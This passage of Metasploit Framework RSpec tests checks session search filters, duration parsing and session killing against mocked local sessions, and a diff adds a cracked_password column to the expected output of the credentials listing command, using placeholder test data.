TABLE
end
it 'When the user searches using fractions of a minute' do
core.cmd_sessions('--search', 'last_checkin:greater_than:0.5m1s')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
3 session3 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user searches using capital letters' do
core.cmd_sessions('--search', 'last_checkin:greater_than:31S')
expect(@combined_output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
3 session3 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user searches using an invalid checkin parameter' do
core.cmd_sessions('--search', 'last_checkin:something:10s')
expect(@combined_output.join("\n")).to match_table <<~TABLE
Please specify less_than or greater_than for checkin query. Ex: last_checkin:less_than:1m30s. Given: something
TABLE
end
it 'When the user searches using duplicated time units' do
core.cmd_sessions('--search', 'last_checkin:less_than:10s10s')
expect(@combined_output.join("\n")).to match_table <<~TABLE
Please do not provide duplicate time units in your query
TABLE
end
it 'When the user properly specifies both less_than and greater_than checkin ranges' do
core.cmd_sessions('--search', 'last_checkin:less_than:200s last_checkin:greater_than:30s')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user specifies a greater_than time that is larger than the less_than time' do
core.cmd_sessions('--search', 'last_checkin:greater_than:200s last_checkin:less_than:30s')
expect(@combined_output.join("\n")).to match_table <<~TABLE
After value must be a larger duration than the before value.
TABLE
end
it 'When the user uses two before arguments with last checkin' do
core.cmd_sessions('--search', 'last_checkin:greater_than:200s last_checkin:greater_than:30s')
expect(@combined_output.join("\n")).to match_table <<~TABLE
Cannot search for last_checkin with two greater_than arguments.
TABLE
end
end
context 'Searches with sessions that have different checkins and types' do
before(:all) do
Timecop.freeze(Time.parse('Dec 18, 2022 12:33:40.000000000 GMT'))
end
after(:all) do
Timecop.return
end
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'java', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'cmd_shell', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user specifies both type and checkin' do
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s session_type:meterpreter')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user specifies both type and checkin but there are only partial matches' do
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s session_type:something')
expect(@combined_output.join("\n")).to match_table <<~TABLE
No matching sessions.
TABLE
end
end
context 'Searches with sessions that have different ids and types' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'java', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'cmd_shell', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user specifies both type and checkin' do
core.cmd_sessions('--search', 'session_id:1 session_type:meterpreter')
expect(@output.join("\n")).to match_table <<~TABLE
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 session1 meterpreter info tunnel (127.0.0.1)
TABLE
end
it 'When the user specifies both type and checkin but there are only partial matches' do
core.cmd_sessions('--search', 'session_id:1 session_type:something')
expect(@combined_output.join("\n")).to match_table <<~TABLE
No matching sessions.
TABLE
end
end
context 'searches for checkin with sessions that do not respond to checkin' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::CommandShell, type: 'cmd_shell', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user searches for checkin values' do
core.cmd_sessions('--search', 'last_checkin:less_than:6s')
expect(@combined_output.join("\n")).to match_table <<~TABLE
No matching sessions.
TABLE
end
end
context 'with other flags' do
let(:sessions) do
{
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
}
end
it 'When the user tries to kill all matching sessions but there are no matches' do
core.cmd_sessions('--search', 'session_id:5', '-K')
expect(@combined_output).to eq([
'No matching sessions.'
])
end
it 'When the user tries to kill all matching sessions and there are matches' do
expect(sessions[1]).not_to receive(:kill)
expect(sessions[2]).to receive(:kill)
expect(sessions[3]).to receive(:kill)
core.cmd_sessions('--search', 'session_id:2 session_id:3', '-K')
expect(@output.join("\n")).to match_table <<~TABLE
Killing matching sessions...
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 session2 meterpreter info tunnel (127.0.0.1)
3 session3 meterpreter info tunnel (127.0.0.1)
TABLE
end
end
end
describe '#parse_duration' do
{
'1s' => 1,
'2s' => 2,
'3.5s' => 3,
'1.5m' => 90,
'1.5d' => 129600,
'1d1h1m1s' => 90061,
'1.5d1.5h1.5m1.5s' => 135091,
'1.75m70s' => 175
}.each do |input, expected|
it "returns #{expected} seconds for the input #{input}" do
expect(core.parse_duration(input)).to eq(expected)
end
end
end
end
@@ -71,9 +71,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------',
' thisuser thispass Password '
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
' thisuser thispass Password '
])
end
@@ -83,8 +83,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------',
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
' thisuser thispass Password '
])
end
@@ -96,9 +96,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------',
' nonblank_pass Password '
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
' nonblank_pass Password '
])
end
end
@@ -109,9 +109,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------',
' nonblank_user Password '
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
' nonblank_user Password '
])
end
end
@@ -125,8 +125,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------'
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------'
])
end
end
@@ -137,8 +137,45 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------'
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------'
])
end
end
context 'showing new column of cracked_password for all the cracked passwords' do
it 'should show the cracked password in the new column named cracked_passwords' do
common_public = FactoryBot.create(:metasploit_credential_username, username: "this_username")
core = FactoryBot.create(:metasploit_credential_core,
origin: FactoryBot.create(:metasploit_credential_origin_import),
private: FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: "some_hash"),
public: common_public,
realm: nil,
workspace: framework.db.workspace)
cracked_core = FactoryBot.create(:metasploit_credential_core,
origin: Metasploit::Credential::Origin::CrackedPassword.create!(metasploit_credential_core_id: core.id),
private: FactoryBot.create(:metasploit_credential_password, data: "this_cracked_password"),
public: common_public,
realm: nil,
workspace: framework.db.workspace)
creds.cmd_creds('-u', 'this_username')
expect(@output).to eq([
"Credentials",
"===========",
"",
"host origin service public private realm private_type JtR Format cracked_password",
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
" this_username some_hash Nonreplayable hash this_cracked_password"
])
end
it "should show the user given passwords on private column instead of cracked_password column" do
creds.cmd_creds('-u', 'thisuser')
expect(@output).to eq([
"Credentials",
"===========",
"",
"host origin service public private realm private_type JtR Format cracked_password",
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
" thisuser thispass Password "
])
end
end
@@ -206,11 +243,36 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host origin service public private realm private_type JtR Format',
'---- ------ ------- ------ ------- ----- ------------ ----------',
' thisuser thispass Password '
'host origin service public private realm private_type JtR Format cracked_password',
'---- ------ ------- ------ ------- ----- ------------ ---------- ----------------',
' thisuser thispass Password '
])
end
it 'should show all the cores whose private is either password or the private is cracked password' do
common_public = FactoryBot.create(:metasploit_credential_username, username: "this_username")
core = FactoryBot.create(:metasploit_credential_core,
origin: FactoryBot.create(:metasploit_credential_origin_import),
private: FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: "some_hash"),
public: common_public,
realm: nil,
workspace: framework.db.workspace)
cracked_core = FactoryBot.create(:metasploit_credential_core,
origin: Metasploit::Credential::Origin::CrackedPassword.create!(metasploit_credential_core_id: core.id),
private: FactoryBot.create(:metasploit_credential_password, data: "this_cracked_password"),
public: common_public,
realm: nil,
workspace: framework.db.workspace)
creds.cmd_creds('-t', 'password')
expect(@output).to eq([
"Credentials",
"===========",
"",
"host origin service public private realm private_type JtR Format cracked_password",
"---- ------ ------- ------ ------- ----- ------------ ---------- ----------------",
" thisuser thispass Password ",
" this_username this_cracked_password Password "
])
end
end
context 'ntlm' do
@@ -223,8 +285,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
'Credentials',
'===========',
'',
'host service public private realm private_type JtR Format',
'---- ------- ------ ------- ----- ------------ ----------',
'host service public private realm private_type JtR Format cracked_password',
'---- ------- ------ ------- ----- ------------ ---------- ----------------',
" thisuser #{ntlm_hash} NTLM hash"
]
end